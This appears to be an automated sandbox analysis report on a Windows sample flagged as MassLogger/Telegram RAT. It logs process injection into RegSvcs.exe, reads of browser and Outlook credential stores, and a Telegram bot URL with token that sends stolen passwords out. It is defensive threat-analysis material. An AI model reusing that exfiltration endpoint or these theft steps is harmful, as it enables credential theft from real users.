Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0025C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	2_2_0025C75C
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0025EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_0025EF95
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0025F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_0025F0F2
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0025F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_0025F3F3
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_002537EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_002537EF
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00253B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_00253B12
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0025BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_0025BCBC

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_001F49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

2_2_001F49A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598909	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598759	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598652	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595789	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594016	Jump to behavior

Source: RegSvcs.exe, 00000003.00000002.3684056246.0000000001277000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	API call chain: ExitProcess graph end node			graph_2-101020
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	API call chain: ExitProcess graph end node			graph_2-101086

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00263F09 BlockInput,

2_2_00263F09

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_001F3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

2_2_001F3B3A

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00225A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_00225A7C

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_001F4B37 LoadLibraryA,GetProcAddress,

2_2_001F4B37

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_010B3510 mov eax, dword ptr fs:[00000030h]	2_2_010B3510
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_010B34B0 mov eax, dword ptr fs:[00000030h]	2_2_010B34B0
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_010B1E70 mov eax, dword ptr fs:[00000030h]	2_2_010B1E70

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_002480A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

2_2_002480A9

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0021A124 SetUnhandledExceptionFilter,		2_2_0021A124
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0021A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		2_2_0021A155

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: FDA008

Jump to behavior

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_002487B1 LogonUserW,

2_2_002487B1

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_001F3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

2_2_001F3B3A

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_001F48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

2_2_001F48D7

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00254C27 mouse_event,

2_2_00254C27

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\MzqLQjCwrw.exe"

Jump to behavior

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00247CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

2_2_00247CAF

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_0024874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

2_2_0024874B

Source: MzqLQjCwrw.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: MzqLQjCwrw.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_0021862B cpuid

2_2_0021862B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00224E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

2_2_00224E87

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00231E06 GetUserNameW,

2_2_00231E06

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00223F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_00223F3A

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_001F49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

2_2_001F49A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MzqLQjCwrw.exe.1e80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MzqLQjCwrw.exe PID: 5464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6368, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MzqLQjCwrw.exe.1e80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MzqLQjCwrw.exe PID: 5464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6368, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: MzqLQjCwrw.exe	Binary or memory string: WIN_81
Source: MzqLQjCwrw.exe	Binary or memory string: WIN_XP
Source: MzqLQjCwrw.exe	Binary or memory string: WIN_XPe
Source: MzqLQjCwrw.exe	Binary or memory string: WIN_VISTA
Source: MzqLQjCwrw.exe	Binary or memory string: WIN_7
Source: MzqLQjCwrw.exe	Binary or memory string: WIN_8
Source: MzqLQjCwrw.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MzqLQjCwrw.exe.1e80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MzqLQjCwrw.exe PID: 5464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6368, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MzqLQjCwrw.exe.1e80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MzqLQjCwrw.exe PID: 5464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6368, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MzqLQjCwrw.exe.1e80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MzqLQjCwrw.exe PID: 5464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6368, type: MEMORYSTR

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00266283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		2_2_00266283
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00266747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		2_2_00266747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	127 System Information Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	231 Security Software Discovery	SSH	3 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
MzqLQjCwrw.exe	65%	Virustotal		Browse
MzqLQjCwrw.exe	68%	ReversingLabs	Win32.Spyware.Negasteal
MzqLQjCwrw.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.96.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.telegram.org	RegSvcs.exe, 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	RegSvcs.exe, 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839	RegSvcs.exe, 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	MzqLQjCwrw.exe, 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high
http://reallyfreegeoip.org	RegSvcs.exe, 00000003.00000002.3684930754.00000000030C2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	RegSvcs.exe, 00000003.00000002.3684930754.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	RegSvcs.exe, 00000003.00000002.3684930754.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3684930754.0000000003094000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	RegSvcs.exe, 00000003.00000002.3684930754.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	RegSvcs.exe, 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000003.00000002.3684930754.0000000003021000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot-/sendDocument?chat_id=	MzqLQjCwrw.exe, 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high
